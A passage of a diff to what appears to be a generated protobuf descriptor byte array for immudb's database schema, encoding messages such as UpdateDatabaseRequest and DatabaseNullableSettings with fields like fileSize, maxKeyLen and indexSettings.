0x22, 0x78, 0x0a, 0x15, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, - 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, - 0x32, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, - 0x25, 0x0a, 0x0d, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x46, 0x6c, 0x6f, 0x61, 0x74, - 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x24, 0x0a, 0x0c, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x26, 0x0a, 0x0e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x12, 0x14, - 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x22, 0x2c, 0x0a, 0x14, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x12, 0x14, 0x0a, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x22, 0xd2, 0x0e, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, - 0x5c, 0x0a, 0x13, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, - 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2a, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x70, - 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x13, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x39, 0x0a, - 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x79, 0x0a, 0x16, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, + 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x19, 0x0a, 0x17, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x7b, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, + 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, + 0x67, 0x73, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, + 0x6e, 0x74, 0x33, 0x32, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x12, 0x14, 0x0a, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x22, 0x25, 0x0a, 0x0d, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x46, 0x6c, + 0x6f, 0x61, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x02, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x24, 0x0a, 0x0c, 0x4e, 0x75, 0x6c, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, + 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, + 0x67, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x2c, 0x0a, 0x14, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x12, + 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0xd2, 0x0e, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, + 0x67, 0x73, 0x12, 0x5c, 0x0a, 0x13, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x2a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x13, 0x72, 0x65, 0x70, + 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x12, 0x39, 0x0a, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x08, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, + 0x32, 0x52, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x3b, 0x0a, 0x09, 0x6d, + 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x6d, + 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x56, + 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, + 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x12, 0x41, 0x0a, 0x0c, 0x6d, 0x61, 0x78, + 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x08, - 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x3b, 0x0a, 0x09, 0x6d, 0x61, 0x78, 0x4b, - 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x6d, 0x61, 0x78, 0x4b, - 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, - 0x65, 0x4c, 0x65, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, - 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x12, 0x41, 0x0a, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, - 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0c, + 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x49, 0x0a, 0x11, + 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, + 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, + 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x12, 0x45, 0x0a, 0x0e, 0x6d, 0x61, 0x78, 0x43, 0x6f, + 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, + 0x6d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, + 0x0a, 0x10, 0x6d, 0x61, 0x78, 0x49, 0x4f, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, + 0x63, 0x79, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x10, 0x6d, 0x61, 0x78, 0x49, 0x4f, 0x43, 0x6f, + 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x45, 0x0a, 0x0e, 0x74, 0x78, 0x4c, + 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0f, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, + 0x52, 0x0e, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, + 0x12, 0x4d, 0x0a, 0x12, 0x76, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, + 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x10, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0c, 0x6d, 0x61, 0x78, - 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x49, 0x0a, 0x11, 0x65, 0x78, 0x63, - 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x0c, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, - 0x6c, 0x52, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, - 0x54, 0x69, 0x6d, 0x65, 0x12, 0x45, 0x0a, 0x0e, 0x6d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x63, 0x75, - 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x12, 0x76, 0x4c, 0x6f, + 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, + 0x4f, 0x0a, 0x13, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, + 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x11, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x6d, 0x61, 0x78, - 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x10, 0x6d, - 0x61, 0x78, 0x49, 0x4f, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, - 0x0e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, - 0x6e, 0x74, 0x33, 0x32, 0x52, 0x10, 0x6d, 0x61, 0x78, 0x49, 0x4f, 0x43, 0x6f, 0x6e, 0x63, 0x75, - 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x45, 0x0a, 0x0e, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x43, - 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x74, - 0x78, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4d, 0x0a, - 0x12, 0x76, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, - 0x6c, 0x65, 0x73, 0x18, 0x10, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x12, 0x76, 0x4c, 0x6f, 0x67, 0x4d, 0x61, - 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x4f, 0x0a, 0x13, - 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, - 0x6c, 0x65, 0x73, 0x18, 0x11, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x13, 0x74, 0x78, 0x4c, + 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, + 0x12, 0x57, 0x0a, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, + 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x12, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, + 0x52, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, + 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x4a, 0x0a, 0x0d, 0x69, 0x6e, 0x64, + 0x65, 0x78, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x13, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, + 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x0d, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x53, 0x65, 0x74, + 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x51, 0x0a, 0x14, 0x77, 0x72, 0x69, 0x74, 0x65, 0x54, 0x78, + 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x14, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, + 0x33, 0x32, 0x52, 0x14, 0x77, 0x72, 0x69, 0x74, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, + 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x08, 0x61, 0x75, 0x74, 0x6f, + 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x15, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, 0x6f, 0x61, + 0x64, 0x12, 0x45, 0x0a, 0x0e, 0x72, 0x65, 0x61, 0x64, 0x54, 0x78, 0x50, 0x6f, 0x6f, 0x6c, 0x53, + 0x69, 0x7a, 0x65, 0x18, 0x16, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 